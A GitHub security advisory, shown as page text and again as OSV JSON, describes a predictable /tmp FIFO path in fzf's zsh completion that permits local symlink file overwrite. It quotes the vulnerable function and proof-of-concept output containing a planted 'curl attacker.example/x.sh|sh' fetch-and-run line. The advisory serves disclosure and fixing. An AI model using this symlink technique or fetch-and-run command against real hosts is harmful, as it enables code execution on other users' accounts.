GHSA-7RJ6-7PQX-V7RM

Vulnerability from github – Published: 2026-11-19 22:43 – Updated: 2026-11-19 22:43
VLAI
Summary
fzf: Predictable FIFO path in zsh completion allows local symlink attack / arbitrary file overwrite as the victim user (_fzf_feed_fifo)
Details

Summary

shell/completion.zsh feeds every trigger-driven zsh completion through a FIFO at a predictable, PID-based path in shared /tmp (fzf-complete-fifo-$$), without checking the failure of rm -f/mkfifo. On a multi-user host, another local user can pre-create that path as a symlink to a victim-writable file (e.g. ~/.bashrc), causing the victim's own completion to overwrite it with the completion stream — with attacker-influenced content (e.g. via process names in ps output), escalating to code execution at the victim's next login. A pre-created plain FIFO instead leaks/blocks on the completion stream.

Reporter / Credits:

Sai Sreewathsa Kovalluri, Shon Babu and Kannan K (Researchers), Innspark Solutions https://innspark.in/

Details

shell/completion.zsh (tag 0.74.4, commit a140afeb):

  • line ~246: fifo="${TMPDIR:-/tmp}/fzf-complete-fifo-$$" — predictable name; shell PIDs are low/guessable and a wide range can be pre-created.
  • lines 216-220, verbatim:
_fzf_feed_fifo() {
  command rm -f "$1"     # fails (EPERM) on an attacker-owned entry in sticky /tmp — error ignored
  mkfifo "$1"            # fails (EEXIST) — exit status unchecked
  cat <&0 > "$1" &|      # follows the attacker symlink / blocks on the attacker FIFO
}

Attack modes (no race required):

  1. File clobber → code execution: > "$1" follows a pre-created symlink, truncating/overwriting a victim-writable file with the completion input stream using the victim's privileges. For kill-completion the stream includes attacker-influenced process names, so planted lines can land in the victim's startup file.
  2. Information leak / hang: a pre-created plain FIFO makes the victim's cat block until the attacker reads the stream (full ps output, host lists, variable names).

PoC

Mechanism verified with the function extracted byte-for-byte from shell/completion.zsh (only &| → &, a syntax port irrelevant to the flaw), reproducing the cross-user /tmp precondition via an entry the victim cannot remove (identical to sticky /tmp semantics for an attacker-owned entry):

rm: cannot remove '.../fzf-complete-fifo-4242': Permission denied
mkfifo: cannot create fifo '.../fzf-complete-fifo-4242': File exists

=== victim file AFTER the victim's completion ran ===
evil-process; curl attacker.example/x.sh|sh; :
other-stream-data

The file was overwritten despite both rm and mkfifo failing. A self-contained reproducer was provided by email (poc-t04-fifo-clobber.sh).

Impact

Local (multi-user host; CWE-377 / CWE-59). Any victim running zsh with fzf trigger completion (kill/ssh/telnet/export/unset/unalias **<TAB>) on a host shared with an attacker risks silent overwrite of arbitrary user files (→ code execution at next login) or disclosure of the completion stream. Suggested fix: create the FIFO inside a private mktemp -d directory (mode 700) and check mkfifo's exit status, removing the rm-then-mkfifo TOCTOU entirely.

Reported privately to the maintainer by email; fix prepared for the next release.

Exploitability in practice

On a default modern host the file-overwrite variant is blocked by fs.protected_symlinks (a process will not follow a symlink in a sticky, world-writable directory owned by another user), and protected_fifos/protected_regular further limit the FIFO variants. Exploitation therefore depends on these kernel protections being disabled. The information exposed is a bounded completion candidate list (process names, hostnames, variable names) rather than arbitrary data, and the "code execution at next login" outcome is a downstream chain requiring the victim to both have the clobbered file sourced and log in again.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.74.4"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/junegunn/fzf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.74.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-121717"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-377",
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-19T22:43:12Z",
    "nvd_published_at": "2026-11-17T20:17:36Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`shell/completion.zsh` feeds every trigger-driven zsh completion through a FIFO at a predictable, PID-based path in shared `/tmp` (`fzf-complete-fifo-$$`), without checking the failure of `rm -f`/`mkfifo`. On a multi-user host, another local user can pre-create that path as a symlink to a victim-writable file (e.g. `~/.bashrc`), causing the victim\u0027s own completion to overwrite it with the completion stream \u2014 with attacker-influenced content (e.g. via process names in `ps` output), escalating to code execution at the victim\u0027s next login. A pre-created plain FIFO instead leaks/blocks on the completion stream.\n\n### Reporter / Credits:\nSai Sreewathsa Kovalluri, Shon Babu and Kannan K (Researchers), Innspark Solutions https://innspark.in/\n\n### Details\n\n`shell/completion.zsh` (tag 0.74.4, commit a140afeb):\n\n- line ~246: `fifo=\"${TMPDIR:-/tmp}/fzf-complete-fifo-$$\"` \u2014 predictable name; shell PIDs are low/guessable and a wide range can be pre-created.\n- lines 216-220, verbatim:\n\n```zsh\n_fzf_feed_fifo() {\n  command rm -f \"$1\"     # fails (EPERM) on an attacker-owned entry in sticky /tmp \u2014 error ignored\n  mkfifo \"$1\"            # fails (EEXIST) \u2014 exit status unchecked\n  cat \u003c\u00260 \u003e \"$1\" \u0026|      # follows the attacker symlink / blocks on the attacker FIFO\n}\n```\n\nAttack modes (no race required):\n\n1. **File clobber \u2192 code execution:** `\u003e \"$1\"` follows a pre-created symlink, truncating/overwriting a victim-writable file with the completion input stream using the victim\u0027s privileges. For kill-completion the stream includes attacker-influenced process names, so planted lines can land in the victim\u0027s startup file.\n2. **Information leak / hang:** a pre-created plain FIFO makes the victim\u0027s `cat` block until the attacker reads the stream (full `ps` output, host lists, variable names).\n\n### PoC\n\nMechanism verified with the function extracted byte-for-byte from `shell/completion.zsh` (only `\u0026|` \u2192 `\u0026`, a syntax port irrelevant to the flaw), reproducing the cross-user `/tmp` precondition via an entry the victim cannot remove (identical to sticky `/tmp` semantics for an attacker-owned entry):\n\n```console\nrm: cannot remove \u0027.../fzf-complete-fifo-4242\u0027: Permission denied\nmkfifo: cannot create fifo \u0027.../fzf-complete-fifo-4242\u0027: File exists\n\n=== victim file AFTER the victim\u0027s completion ran ===\nevil-process; curl attacker.example/x.sh|sh; :\nother-stream-data\n```\n\nThe file was overwritten despite both `rm` and `mkfifo` failing. A self-contained reproducer was provided by email (poc-t04-fifo-clobber.sh).\n\n### Impact\n\nLocal (multi-user host; CWE-377 / CWE-59). Any victim running zsh with fzf trigger completion (`kill/ssh/telnet/export/unset/unalias **\u003cTAB\u003e`) on a host shared with an attacker risks silent overwrite of arbitrary user files (\u2192 code execution at next login) or disclosure of the completion stream. Suggested fix: create the FIFO inside a private `mktemp -d` directory (mode 700) and check `mkfifo`\u0027s exit status, removing the rm-then-mkfifo TOCTOU entirely.\n\nReported privately to the maintainer by email; fix prepared for the next release.\n\n### Exploitability in practice\n\nOn a default modern host the file-overwrite variant is blocked by `fs.protected_symlinks` (a process will not follow a symlink in a sticky, world-writable directory owned by another user), and protected_fifos/protected_regular further limit the FIFO variants. Exploitation therefore depends on these kernel protections being disabled. The information exposed is a bounded completion candidate list (process names, hostnames, variable names) rather than arbitrary data, and the \"code execution at next login\" outcome is a downstream chain requiring the victim to both have the clobbered file sourced and log in again.",
  "id": "GHSA-7rj6-7pqx-v7rm",
  "modified": "2026-11-19T22:43:12Z",
  "published": "2026-11-19T22:43:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/junegunn/fzf/security/advisories/GHSA-7rj6-7pqx-v7rm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-121717"
    },
    {
      "type": "WEB",
      "url": "https://github.com/junegunn/fzf/commit/cbc11e4d9591e1fa47fb9d8711b18b74d625746e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/junegunn/fzf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/junegunn/fzf/releases/tag/v0.74.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "fzf: Predictable FIFO path in zsh completion allows local symlink attack / arbitrary file overwrite as the victim user (_fzf_feed_fifo)"
}



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